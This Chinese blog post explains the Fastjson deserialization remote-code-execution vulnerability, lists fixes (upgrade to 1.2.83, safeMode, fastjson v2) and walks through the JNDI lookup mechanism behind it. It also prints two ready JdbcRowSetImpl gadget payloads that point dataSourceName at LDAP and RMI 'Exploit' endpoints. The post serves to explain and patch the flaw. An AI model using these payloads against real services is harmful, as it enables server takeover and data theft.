Fastjson反序列化远程代码执行漏洞

据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。

先贴一个解决漏洞的方案:

1.升级到最新版本1.2.83
https://github.com/alibaba/fastjson/releases/tag/1.2.83

该版本涉及autotype行为变更,在某些场景会出现不兼容的情况,如遇遇到问题可以到
https://github.com/alibaba/fastjson/issues寻求帮助。

2.fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可杜绝反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)。

开启方法可参考
https://github.com/alibaba/fastjson/wiki/fastjson_safemode。

1.2.83修复了此次发现的漏洞,开启safeMode是完全关闭autoType功能,避免类似问题再次发生,这可能会有兼容问题,请充分评估对业务影响后开启。

3.可升级到fastjson v2
https://github.com/alibaba/fastjson2/releases

不过任何升级一定会伴随或大或小的bug,一定要对业务的影响做评估。

下面对漏洞原理进行介绍
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

Fastjson反序列化需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,并且@type可以指定反序列化任意类调用其set,get方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

究极原理:攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器请求,远程加载恶意代码,执行构造函数形成RCE。

下面这两个就是含有攻击性的待序列化对象:@type注解指明了其类型(漏洞利用类),并设置了数据源和开启自动提交。

//LADP 方式
String payload1 = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://localhost:1389/Exploit”," + " “autoCommit”:true}“;
//RMI 方式
String payload2 = “{”@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/Exploit”," + " “autoCommit”:true}";

这就用到了JNDI。JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等。
它是面向拓展的,也就是说我定义了个规矩,就是 SPI的概念 ,具体如何实现由扩展者实现。
在这里插入图片描述

(可以连按shift查找目标类)
在这里插入图片描述
由于在反序列化时会调用set方法,此时conn一定为null,所以掉入陷阱,进行connet设置,我们点进去。
在这里插入图片描述
发现里面调用了lookup函数,并且调用getDataSourceName获取数据源,上面含有攻击性的待序列化对象恰好就有DataSourceName这个属性。
在这里插入图片描述
接下来就是请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
fastjson <= 1.2.80 存在序列任意代码执行漏洞。该漏洞利用了黑白名单防御机制的绕过问题,即使autoType关闭,黑客仍然可以绕过黑白名单防御机制,从而导致远程命令执行漏洞。攻击者可以利用该漏洞攻击远程服务器,风险影响较大。建议fastjson用户立即采取安全措施以保障系统安全。特定依赖存在下,漏洞影响范围在 1.2.80 及之前的版本中。为了解决此漏洞,可以采取以下几种措施: 1.升级到最新版本1.2.83,该版本修复了此次发现的漏洞,并涉及autotype行为变更。需要注意的是,在升级过程中可能会出现不兼容的情况,如果遇到问题可以在https://github.com/alibaba/fastjson/issues寻求帮助。 2.在1.2.68及之后的版本中,fastjson引入了safeMode功能。通过配置safeMode,无论是白名单还是黑名单,都不支持autoType,从而可以杜绝序列Gadgets类变种攻击(关闭autoType时需要评估对业务的影响)。开启safeMode的方法可以参考https://github.com/alibaba/fastjson/wiki/fastjson_safemode。 3.还可以考虑升级到fastjson v2版本,具体升级方法可以参考https://github.com/alibaba/fastjson2/releases。请注意,在升级过程中可能会有兼容性问题,因此在开启之前,请充分评估对业务的影响。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [fastjson1.2.8 序列远程代码执行漏洞](https://download.csdn.net/download/xiazai_ceshi/18466350)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [fastjson <= 1.2.80 序列任意代码执行漏洞](https://blog.csdn.net/qq_18209847/article/details/124952791)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值